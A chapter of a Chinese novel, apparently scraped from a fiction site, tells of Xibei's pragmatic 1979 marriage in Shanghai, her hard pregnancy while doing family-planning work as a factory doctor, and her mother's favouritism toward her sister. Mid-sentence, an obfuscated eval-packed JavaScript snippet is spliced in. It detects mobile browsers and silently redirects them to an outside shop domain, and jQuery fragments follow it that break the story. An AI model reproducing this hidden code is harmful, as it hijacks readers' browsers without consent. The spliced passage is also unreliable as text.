一九七九年国庆节，西贝嫁给了甘英嵘。
婚事办得像赶工——简单，仓促，还带着点“终于搞定了”的如释重负。婚礼就在永嘉路家里摆了两桌，至亲加介绍人，挤挤挨挨。西贝穿了件簇新的红格子外套，脸上没啥新娘子该有的喜气，倒像完成了一桩拖了很久的差事，平静里透着一丝累。甘英嵘则一身崭新笔挺的中山装，头发梳得苍蝇拄拐棍都站不稳，脸上挂着他最拿手的、略显拘谨的笑，给老丈人、丈母娘和领导敬酒时，话不多，但句句在点子上，态度恭敬得像在向上级汇报工作，赢得一片“老实头”、“靠得牢”的称赞。
这桩婚事，弄堂里阿姨妈妈们私下没少嘀咕：“门不当户不对呀！” 西林是电力局局长，孙兰是书记退下来的，甘家呢？闸北区普通工人家庭，还是特别“结棍”的那种——屋里厢穷。甘英嵘他爸是郊县农民顶替进城的钳工，姆妈是家庭妇女。他是老二，上头有个同父异母的阿哥，下头还有两个弟弟。想想看，一个工人爷叔的工资，要喂饱四只“半大小子，吃穷老子”的饿煞鬼，日脚过得哪能，用脚趾头想想也晓得。直到四个儿子陆续进厂，屋里才算透了口气，但房子？一家门六口人挤在十几平方的“滚地龙”里，转个身都要喊“喂，让一让！”
甘英嵘心里，这笔账算得清清爽爽。西贝是穿得朴素，甚至还有补丁，但那些洗得发白、熨得刮挺的衣裳，套在她高挑瘦削的身上，就是有种与众不同的、利利索索的味道。更重要的是她家——阿爸局长，姆妈干部，这不仅是“条件好”，更是扎扎实实的社会资源跟保障。最要紧的是，老丈人西林亲口答应，结婚就给他们解决房子：一套煤卫独用的一室户！ 在八十年代初的上海，对无数挤在亭子间、三层阁、合用灶披间的小年轻来讲，这简直是天堂门票！感情？可以培养的呀。但房子，是硬碰硬改变生活质量的“大件”。西贝人长得清爽，脾气听说“稳得牢”，又是厂医，工作体面。这笔账，横算竖算，都是他甘英嵘“赚了”。
西贝这边，妥协的理由一样具体得像钢筋水泥。甘英嵘长得还算登样，国字脸，浓眉毛，高高大大，符合她心里那点自己也说不清道不明的“外貌协会”小标准。爹妈念叨了八百遍的“根正苗红”——贫农出身、工人家庭、党员、青年干部苗子——像一道金光闪闪的护身符，把“条件差”三个字挡得严严实实。她自己，虚岁挨着三十边了，在厂里是“老姑娘”，闲话跟“关心”多得让人头皮发麻。从前那些追求者，汪劲松、鲁志军，还有新进厂不懂事的小年轻，看过来的眼神都成了负担。她实在是太吃力了，吃力永嘉路那个永远吵吵闹闹、永远有做不完的事、却永远找不到一个能关上门喘口气角落的“家”。结婚，像个模糊的逃生口，一个能合法离开、拥有一个完全属于自己、哪怕再小再破也能锁上门的小窝的机会。这个念头，最终压垮了她心里对“感情”那点早已风干成渣的、渺茫的期待。
西林对大女儿，心里是存着一份说不出口的亏欠的。他知道这囡囡从小不在身边吃了多少苦，为这个家扛了多少事。读书、工作、找对象，好像每一步都比她阿弟阿妹更吃力，也更闷声不响。这次分房，他硬是顶住压力，在单位新盖的宿舍楼里，给西贝争来了一套顶楼（六楼）的一室户。房子小，朝南，独立的灶披间跟卫生间，虽然要爬楼，虽然只是水泥地、白粉墙，但“煤卫独用”四个字，在当时足以让一弄堂的人眼热。这大概是他能拿出的，最实在的补偿了。
结婚的“硬件”，则活生生照出了两家经济的尴尬跟时代的烙印。那时流行的“三转一响”（上海牌手表、蝴蝶牌缝纫机、永久牌自行车、红灯牌收音机）跟“三十六条腿”（一整套家具），对这对新人来讲，简直是做梦。西贝从娘家带出来的，只有姆妈孙兰咬牙置办的两套全新棉花被头，此外，空空如也。
转机出在甘英嵘还没成家的阿弟身上。老三在木材厂当学徒，得知阿哥要结婚，愁家具愁得眉毛打结，一拍大腿：“阿哥，覅烦！阿拉厂里别的不多，边角料木头多得是！我想办法！” 于是开启了“蚂蚁搬家”模式。今天顺两根木条，明天藏几块板子，偷偷摸摸攒在厂后头废料堆。攒得差不多了，求着厂里一个跟他投缘的宁波老师傅，利用下班后空档，在废仓库里“叮叮当当”开工。做的是最普通的式样：一张棕绷双人床，一个三门大衣柜，一个五斗橱，一张方桌，三把椅子，外加一个写字台。木头是杂木，有些还带着疤结，但小阿弟有心，仔仔细细打磨光了，还求师傅帮忙刷了一层亮晶晶的深棕色清漆。完工那天，小阿弟用黄鱼车吭哧吭哧把家具拉到六楼新房间，累得瘫在地上，却一脸得意：“阿哥，阿嫂，看看！三十六条腿，一条不少！就是……就是这漆味道有点重，要吹两天。”
西贝摸着光滑的桌面，闻着那股新鲜的、有点冲鼻子的油漆味跟木头香，心里有点感动，又有点好笑。甘英嵘拍拍弟弟的肩：“小鬼头，有出息！下趟阿哥帮你介绍女朋友！”
甘英嵘在机械厂上班，不知道从哪里七拼八凑，搞来一套“上海牌”手表的散装零件，躲在家里阁楼上，戴着放大镜，屏气凝神鼓捣了好几个晚上，居然真给他装出了一块能走的手表！表盘稍微有点歪，但针走得还算稳当。他献宝一样捧给西贝：“给你，自家弄的，样子难看点，但实惠！下趟有好的，再给你换！”
甘英嵘把这块“自制”手表郑重其事地给西贝戴上。西贝手腕细，表面显得有点大，表壳也粗粗拉拉。她摸着那冰凉的、带着毛刺的金属边缘，心里没有新嫁娘该有的甜蜜，只有一种极其复杂的、混合着荒诞、温暖和认命的踏实感——看，这就是她的婚姻，她的家，东拼西凑，缝缝补补，但好像……也能过下去。
缝纫机、脚踏车、无线电，还有热水瓶、洗脸盆、痰盂、钢宗镬子、碗盏调羹……这些搭一个家必需的零零碎碎，都是在他们婚后，用两人那点微薄的薪水（结婚后终于不用再上交，有了自家的小金库），一样一样，从百货公司、旧货商店，像燕子衔泥，慢慢添置起来的。他们的新房，因此很长时间都空落落的，但“煤卫独用”跟“自家房门”，让西贝每次呼哧带喘爬上六楼，靠着冰凉的水泥门框歇气时，心里能升起一股扎扎实实的、疲倦的安宁——这，是我的窝。
更结棍的压力，来自一项新国策——计划生育。1980年，上头发话了：“一对夫妻只生一个好。” 西贝这个厂医，一下子成了厂里计划生育的“前沿兵”。她要宣传政策，发避孕套，最头疼的是，一旦发现有人怀了二胎，她必须上门做工作，劝人家“处理掉”。
这份工让她瞬间成了流言蜚语的靶子。面对的是活生生、想“多子多福”的女工跟家属。冷眼、嘲讽、骂山门，是家常便饭。更难听的话，直接冲她来：
“自家蛋还没生一只，倒管起别人生不生了？作孽哦！”
“哼，看她瘦得三根筋绊一个头，肯定是自家男人不灵光，生不出，眼红别人！”
“局长千金了不起啊？管天管地，还管人家床底下的事体？”
这些恶毒闲话，像淬了冰的针，扎在西贝心口，也戳中了她骨子里从山东带来的、宁折不弯的硬气。她可以忍工作的苦，可以忍婚姻的冷，但不能忍这种对她能力、对她女人身份的作践跟质疑。“一定要怀上！” 这个念头，像道“军令“，砸在她脑子里。不光是为了堵那些污糟的嘴，更是为了她能挺直腰板去做工作——一个自家带头只生一个的厂医，讲话才有底气。
可这“任务”本身，就难如登天。她跟甘英嵘，客气，生分，像拼租的房客。甘英嵘性格里那点“大男孩”式的自我跟疏离，在婚后渐渐露出来。他在家虽然是老二（他妈生了三个儿子，上面一个同父异母的哥哥，所以也可以说在姆妈这边他是老大），但从小读书好，被姆妈偏心惯了，好吃好穿都紧着他，养成了以自家为中心的脾气。在厂里，他是积极上进、会看“山水”、讨领导欢喜的“甘干事”，下班了常常磨蹭，美其名曰“加班”、“政治学习”、“跟同志们交流思想”，实际上不少时候是在厂澡堂泡着、跟谈得拢的同事嘎三胡，估摸西贝差不多睡了才慢悠悠荡回来。他好像并不渴望夫妻的亲近，反而觉得这种晚归、减少独处的方式更轻松。两个人，没感情基础，也没共同话题，除了“饭吃了伐”、“明朝天气哪能”这种必须的对话，几乎没啥可讲。
家的观念，南辕北辙。西贝想要一个安稳的、有点温度的、俩人一起经营的小窝，哪怕只是个壳子。甘英嵘呢，心态好像还停留在“集体宿舍”，家就是个不用付房钿、有口热饭吃的落脚点。
但“军令”如山。一个闷热的夜里，西贝洗完澡，擦着湿头发，对正在泡脚、看《参考消息》的甘英嵘，用平静得像安排工作的口气讲：“阿拉要个小人。厂里工作……需要。” 她没说那些闲话，只给了个“工作需要”的理由，好像在布置生产指标。
甘英嵘从报纸上抬起眼睛，愣了一记，脸上掠过一丝惊讶窘迫跟茫然，但瞬息间点了点头，“哦”了一声，就算答应了。没温情，没期待，像答应明天去打瓶酱油。
他们的第一次，生涩，匆忙，甚至有点尴尬。在吱嘎作响的、阿弟打的棕绷床上，黑暗里只有压抑的呼吸跟不舒服的摩擦声。没前奏，没交流，纯粹像为了完成“生育指标”必须走的一道工序。西贝咬着嘴唇，手指死死揪着身下粗硬的床单，心里一片冰冷的空白，只有那个“必须怀上”的念头，像黑暗里的灯塔，撑着她熬过这遭。
也许是因为年轻，也许是因为身体底子确实“不推扳”，这样寥寥几次、毫无快感可言的亲密，居然真让西贝怀上了。当她在医务室给自家做完化验，看到清清楚楚两道红杠杠时，心情复杂得像打翻五味瓶。有松了口气的虚脱，有任务完成的茫然，也有对肚皮里这个突然到来、还背负了太多额外意义的小生命的无措（也或许带了些许的期待）。她轻轻摸了摸小腹，那里还平平的，但一种陌生的、沉甸甸的联系，已经结下了。
从此，西贝开始了“带球”工作的新阶段。她照样背着死沉死沉的药箱在厂里跑来跑去。瘦削的身体开始显怀，微微前倾，药箱带子勒在因为怀孕有点浮肿的肩膀上，印子更深。但她的眼神，比从前更定了，甚至带了一丝豁出去的“飒”。她还是要去劝怀了二胎的女工，语气平缓但没商量：“政策是迭能讲的，为国家，也为厂里生产。你看，我自家也只生一个。” 她微微隆起的小腹，成了最有力、也最没声音的“宣传工具”。那些恶毒的闲话，像碰着太阳的霜，悄没声儿化了。换来的是另一种复杂的静默，可能还有人不服，但再也骂不到她“站着讲话腰不疼”了。
可身体的反应，不听指挥。西贝的孕吐，来得又凶又猛。常常毫无预兆，一阵恶心就从胃里直冲喉咙，她得马上捂住嘴巴，跌跌撞撞找地方呕。医务室角落，车间外头水沟边，甚至上下班路上，都留下过她狼狈的影子。吐到后来，只剩苦胆汁，烧得食道像着火。她面孔蜡黄，眼睛抠进去，人迅速瘦了一圈。
就在这最吃力、最狼狈的辰光，西贝的生活里，难得地透进几丝带着市井暖意跟一点点小虚荣的光。这光，多半来自她婆家那边。
甘家人，因为西贝的家世，对这位新媳妇，总归多看两眼，客气三分。特别是两个小叔子，觉得自家阿嫂长得登样，工作又好，屋里条件更不要讲了，心里是有点佩服跟亲近的。西贝的公公知道西贝怀孕孕吐厉害，不怎么吃得下东西，总是从乡下农场里带些水果，偶尔还会带只散养鸡回来给西贝补补。
更让西贝心里泛起一点微妙涟漪的，是甘英嵘偶尔的“亮相”。因为他们厂休错开，西贝周日休，甘英嵘周三休。有时候，看西贝孕期实在吃力，吐得厉害或者脸色太差，甘英嵘会在周三在西贝厂门口等西贝下班，接她一起回家。
甘英嵘身高一米七八，在那个年代算高挑了。他常年坐办公室，姿态挺拔，走路带风。穿着洗得发白但永远熨得笔挺的中山装或军便服，鼻梁高挺，眉眼周正，尤其是跟人打招呼时，脸上那副恰到好处的、带着点干部腔的认真表情，在纺织厂这片“女儿国”里，简直像羊群里突然闯进一头长颈鹿——扎眼得很。
他第一次出现在厂门口那个黄昏，差点引起小型围观。当时正是下班辰光，女工们潮水一样涌出来。甘英嵘推着一辆擦得锃亮的“永久”脚踏车，鹤立鸡群地站在厂门对面梧桐树下，眼睛在人群里搜寻。不少女工走过他身边，都忍不住慢下脚步，偷偷瞄几眼，然后交头接耳：
“喔唷，这是啥人？生得蛮登样嘛！”
“来找啥人的？看这派头，像机关里的。”
“喂，你看他鼻子，老挺的哦！”
等到西贝背着那个显眼的大药箱，脸色苍白、脚步虚浮地走出来，甘英嵘立刻迎上去，很自然地接过她肩上的药箱，挂在自己车把上，然后扶住她的胳膊，低声问：“今朝还好伐？还吐得厉害？” 动作不算多亲昵，但那份照顾的姿态是明明白白的。
这下，人群里的“窃窃私语”瞬间升级：
“啊！是寻西大夫的！”
“是西大夫男人？乖乖，怪不得西大夫眼光高，男人生得是灵光！”
“看看，多体贴，还晓得来接，帮老婆背药箱……啧啧。”
“人家是机械局的干部呀，当然有腔调！”
“西大夫好福气哦，男人长得好，工作好，还会体贴人……”
这些议论，丝丝缕缕飘进西贝耳朵里。她脸上有点热，心里却像被一只温吞吞的热水袋焐了一下，那点因为孕吐和疲惫带来的冰冷跟委屈，悄悄融化了一角。甚至，升起一丝连她自己都觉得有点好笑的小骄傲、小得意。看，这就是我男人。不管家里关起门来怎么样，至少在别人眼里，他是体面的，是关心她的。这份“面子”上的光鲜，和她从婆家小叔子那里得到的点滴实惠，成了她这段仓促、平淡、甚至带着苦涩的婚姻里，为数不多的、能让她在绝望时，嘴角勉强扯出一点笑纹的“糖精片”。
日子，就在这吐了又熬、身体日渐沉重，夹杂着对妹妹那份母爱的隐隐羡慕、婆家的零碎关怀、和丈夫偶尔“亮相”带来的短暂虚荣中，一天天熬过去。西贝心里那簇从山东盐碱地里带来的、不肯服输的火苗，在身体极度的不适、情感的荒芜和生活的粗粛打磨下，没有熄灭，反而因为腹中小生命的搏动，烧出了一种更加沉默、也更加坚韧的光。她不再只是西贝，她是“西大夫”，是“甘家阿嫂”，很快，还会是某个小囡的“姆妈”。这些身份一层层叠上来，重得像山，却也像一层层铠甲，把她包裹得越来越硬，越来越难以被伤害。
就在西贝于上海开始她凑合而艰辛的新婚生活时，远在北京的二妹西桦，也正在时代的浪潮与个人奋斗的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621378|206185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
交织中，经历着另一番光景。
1980年冬天西桦在北京生下了女儿，取名易蕾。孩子生在集体宿舍，月子也只能在那里坐。北京深冬的寒风已经料峭，朝北的房间更是阴冷。易德工作繁忙，经常出差、加班，能照顾的时间有限。西桦既要应付产后的虚弱，又要独自在陌生的城市、冰冷的环境里照顾新生儿，那份艰辛与孤独，可想而知。她给家里的信里，总是报喜不报忧，只说“一切都好”、“单位领导很关心”，但字里行间偶尔流露的疲惫，以及提及“蕾蕾有点感冒”、“屋里暖气不太足”的细节，让孙兰这个做母亲的，揪心不已。
孙兰简直心疼坏了。这是她最寄予厚望、也自认为最亏欠的女儿——从小身体弱，却格外懂事要强，凭自己本事考出去，吃了那么多苦，如今在北京立足，生了孩子却连个像样的住处都没有，要在冰窖似的宿舍里坐月子！这怎么行！
于是，孙兰当机立断，一封加急电报拍到北京：“速回上海坐月子！” 她以不容置疑的口气，命令西桦带着刚满月的孩子立刻回上海。西桦拗不过母亲，也实在想念家里的温暖，便和单位请了长假，抱着襁褓中的易蕾，踏上了南下的列车。
西桦的归来，在永嘉路那个家里，掀起了截然不同的波澜。孙兰把所有的精力、耐心和积蓄已久的母爱，毫无保留地倾注在了二女儿和外孙女身上。她早就布置好了朝南最敞亮的那间房，换上全新的、松软的棉被，窗子糊得严严实实，生怕有一丝风钻进来。她每天变着花样给西桦炖汤：鲫鱼汤、蹄髈汤、老母鸡汤……油花撇得干干净净，汤色奶白，逼着西桦一碗接一碗地喝，说“北京亏的，回娘家都得补回来”。她抢着给易蕾洗尿布，用开水烫过，在阳光下晒得蓬松柔软。夜里孩子哭，她总是第一个惊醒，轻手轻脚地抱起来哄，让西桦能多睡一会儿。她抱着易蕾，脸上是西贝许久未见的、发自内心的慈爱笑容，逗弄着外孙女：“囡囡，外婆的心肝肉，回来就好，回来就好……”
那段时间，永嘉路的家里总是飘着汤品的香气，响着婴儿的啼哭和孙兰温柔的哼唱。西桦被母亲照顾得面色红润，奶水充足。易蕾更是被养得白白胖胖，像个瓷娃娃。孙兰整个人仿佛都焕发了光彩，虽然身体依旧不好，但精神头十足，嘴里念叨的都是“蕾蕾今天笑了”、“桦桦该吃鱼了”。
这一切，西贝都默默看在眼里。她挺着越来越沉的肚子，依旧每天上下班，爬六楼，忍受孕吐和疲惫。回到永嘉路，看到的是母亲围着妹妹和外孙女转的忙碌身影，听到的是母亲对妹妹事无巨细的叮咛和对外孙女毫无保留的疼爱。空气里弥漫的温馨，仿佛有一道无形的屏障，将她隔在外面。母亲偶尔也会问她一句“今天感觉怎么样”，但那语气和看向妹妹时眼底的柔光，完全不同。更多的时候，孙兰的注意力完全在西桦母女身上，对她这个同样怀孕在身的大女儿，只是“你自己当心点”、“月份大了别太累”这样程式化的交代。同时孙兰还需时不时的操心西敏的女儿璐璐。
西贝心里不是没有羡慕，甚至有一丝清晰的酸楚。同样是女儿，同样怀孕生子，得到的关注和照料，天差地别。二妹从小体弱，是家里的“重点保护对象”，如今在北京工作好、嫁得好，更是母亲的骄傲和心头肉。而她西贝，似乎永远是这个家里那个最不需要被特别照顾、最能扛事、也最容易被忽略的长女。她的苦和累，是应该的；她的需要，是可以被延后的。这份认知，像一根细小的刺，扎在她心底，不激烈，但隐隐作痛。她什么也没说，只是更沉默了，把所有的委屈和身体的极度不适，都咬牙吞进肚子里，继续每天爬那仿佛没有尽头的六楼。
而北京的二妹西桦，在休完产假后，不得不将还在襁褓中的女儿易蕾留在上海，托付给满心不舍却心甘情愿的孙兰，自己与易德回到了北京，继续在各自的岗位上奋斗。对他们而言，家庭的暂时分离，是为了更长远的未来。孙兰的生命，仿佛因为外孙女的到来而被重新注入了活力，虽然身体依旧不好，但照顾易蕾成了她全部的精神寄托，而且顺带觉得西敏的孩子外孙女璐璐也逐渐顺眼许多了。永嘉路的家里，孩子的哭声和笑声，成了新的主旋律。
直到西贝她怀孕六个多月时，一次西林来永嘉路，正碰上西贝下班回来。她脸色蜡黄，浮肿明显，扶着门框喘了许久才换好鞋，额头上全是虚汗。西林看着大女儿这副模样，又看了看屋里其乐融融围着西桦母女的孙兰，眉头紧紧锁了起来。他没说什么，但隔天，就让人捎来话，说单位在上海体育馆附近有新调剂的公房，二楼，煤卫独用，有两套，一套一室户，一套两室户，问西贝要不要。
消息传来，孙兰有些意外，说：“六楼那套不是才住没多久？爬楼是吃力点，但好歹是煤卫独用呀。跟我们以前比起来一个天上一个地下，她二妹都没她那么好的住房条件。”
西贝摸着高高隆起的肚子，几乎没有犹豫，平静地说：“就要一室户。六楼我实在爬不动了。两室户……太大了，我也用不着。” 她心里明镜似的：要了两室户，母亲多半会觉得她“贪心”、“不懂事”，或许还会说“你妹妹在北京还没像样房子呢”。她不想再给母亲任何数落或比较的机会，更不想欠下更多或许需要其他方式偿还的“情”。一室户，够了，是她能坦然接受，也符合她“不该多要”的自我定位的限度。至于未来？她不敢想，也不愿想。（很多年后，西贝和甘英嵘都成了各自厂里的骨干，按政策完全有资格排队分到更好的福利房。但就因为他们早早有了西林安排的这套住房，便失去了单位的分配资格。这是后话，此刻的西贝，只是迫切地需要一片能让她喘口气的平地。）
于是，在西贝孕七月，身体沉重到极限的时候，他们搬进了体育馆附近二楼那套一梯四户的一室户里。虽然还是小，但不用爬六楼了，这对当时的西贝来说，已是天大的恩赐。搬家是甘英嵘和两个弟弟张罗的，西贝只负责抱着肚子坐在凳子上指挥。新家依旧简陋，但窗明几净，出门就是相对开阔的街面，阳光很好。西贝坐在朝南的窗边，感受着久违的、不用攀爬后的松弛，轻轻摸着肚子，心里对父亲，生出一丝复杂的感激。至于母亲那边……她望着窗外梧桐树上叽喳的麻雀，轻轻叹了口气。有些温暖，大概是注定奢求不来的，就像有些比较，从出生那一刻起，就已写定。
搬入新家后，日子似乎轻快了一点点，至少身体的负担减轻了。但婚姻的实质，并无改变。两人白天各自上班，交集甚少。西贝医务室的工作越来越吃力。厂子在扩建，分新、老两片，她得背着那只墨绿色、印着红十字、足有二十几斤重的药箱，在车间、办公楼、宿舍区之间来回奔。药箱带子深深勒进她瘦削浮肿的肩膀，晚上脱衣服都是一道红痕。
西贝在体育馆二楼的小窝里，听着远处隐约传来的市井喧哗，摸着腹中不时踢打的小脚，目光投向不可知的未来。眼下，能顺利生下这个孩子，能保住工作，能在属于自己的、不用爬楼的屋檐下喘口气，似乎已是用尽力气才能抓住的全部。至于那寡淡的婚姻，那遥远的母爱，那与妹妹截然不同的人生轨迹……都暂时搁置吧。生活，大概就是如此，在不断的妥协、比较、挣扎和一点点意外的暖意中，步步为营，跌跌撞撞地，把她推向又一个全新的、充满挑战的身份关口——母亲。而属于她西贝的故事，在1981年的这个夏天，即将迎来最痛楚也最丰盛的一次绽放。